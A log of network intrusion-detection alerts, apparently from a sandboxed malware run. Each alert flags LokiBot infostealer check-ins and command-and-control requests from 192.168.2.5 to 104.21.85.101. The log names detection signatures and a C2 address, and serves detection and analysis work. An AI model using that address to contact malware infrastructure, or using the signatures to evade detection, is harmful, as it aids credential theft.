SID:	2024313
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:11.776104
SID:	2021641
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:58.817936
SID:	2024318
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.944131
SID:	2825766
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:24.574893
SID:	2025381
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:59.664329
SID:	2025381
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:38.199508
SID:	2021641
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:58.817936
SID:	2024313
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:44.712946
SID:	2024313
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.081251
SID:	2024318
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:44.712946
SID:	2024318
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:01.718197
SID:	2825766
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:22.168783
SID:	2825766
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.081251
SID:	2024313
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:04.647547
SID:	2021641
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:46.289681
SID:	2825766
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:42.432686
SID:	2025381
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:20.087463
SID:	2025381
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:42.867143
SID:	2024318
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:00.615870
SID:	2024313
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:00.615870
SID:	2024318
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:37.210299
SID:	2825766
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:21.327353
SID:	2024318
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:35.556016
SID:	2825766
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:21.327353
SID:	2024313
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:17.383670
SID:	2021641
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:32.850963
SID:	2825766
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:29.323327
SID:	2025381
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:33.866649
SID:	2021641
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:42.867143
SID:	2024313
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:18.824360
SID:	2021641
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:33.709940
SID:	2025381
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.838596
SID:	2025381
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:43.888980
SID:	2825766
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.108178
SID:	2024313
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.127367
SID:	2825766
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.108178
SID:	2024318
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:12.860512
SID:	2024318
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.007407
SID:	2021641
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:01.572690
SID:	2825766
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:13.812339
SID:	2021641
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:34.740166
SID:	2024318
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.993911
SID:	2025381
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:09.186594
SID:	2825766
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:20.475127
SID:	2025381
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:12.860512
SID:	2024313
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:43.411668
SID:	2024313
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:34.740166
SID:	2024313
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:57.681674
SID:	2025381
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:08.266294
SID:	2024313
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:19.638609
SID:	2025381
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:47.148785
SID:	2021641
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:08.266294
SID:	2024318
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:43.411668
SID:	2024318
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:44.306693
SID:	2825766
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:09.186594
SID:	2021641
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.977503
SID:	2021641
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:03.699908
SID:	2024318
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:50.878814
SID:	2025381
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:26.436407
SID:	2021641
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:48.820321
SID:	2025381
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:23.648663
SID:	2025381
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:13.812339
SID:	2825766
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.907197
SID:	2825766
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:30.108861
SID:	2025381
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.944507
SID:	2021641
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:58.296639
SID:	2021641
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.048379
SID:	2024313
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.048379
SID:	2024318
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:03.699908
SID:	2024313
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:36.335492
SID:	2024313
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:41.138153
SID:	2025381
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:04.194340
SID:	2021641
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:36.335492
SID:	2024318
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:41.567295
SID:	2021641
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:23.686553
SID:	2021641
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:23.686553
SID:	2825766
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.000038
SID:	2024313
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.000038
SID:	2024318
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:37.342738
SID:	2024318
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:15.342998
SID:	2024313
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:40.730674
SID:	2024318
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:04.194340
SID:	2825766
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.029387
SID:	2025381
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:43.888980
SID:	2021641
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:38.199508
SID:	2825766
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:03.327854
SID:	2024318
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:28.412600
SID:	2021641
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:41.567295
SID:	2825766
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:15.342998
SID:	2024318
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:16.316242
SID:	2825766
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:56.483967
SID:	2025381
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:54.770134
SID:	2024313
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:37.342738
SID:	2024313
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:03.327854
SID:	2024313
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:54.770134
SID:	2024318
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:40.730674
SID:	2024313
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:52.319655
SID:	2021641
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.907197
SID:	2021641
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.944507
SID:	2825766
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:22.782486
SID:	2024313
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:49.900695
SID:	2825766
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:25.471357
SID:	2024313
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:22.782486
SID:	2024318
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:53.233272
SID:	2025381
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:11.985959
SID:	2025381
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:53.747051
SID:	2024318
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:25.218772
SID:	2024313
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.174321
SID:	2024318
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.977503
SID:	2825766
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:28.354051
SID:	2024313
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:25.218772
SID:	2024318
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:05.571891
SID:	2025381
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:16.316242
SID:	2021641
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:29.208414
SID:	2825766
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.174321
SID:	2024313
Source Port:	49833
Destination Port:	80
Protocol:	TCP
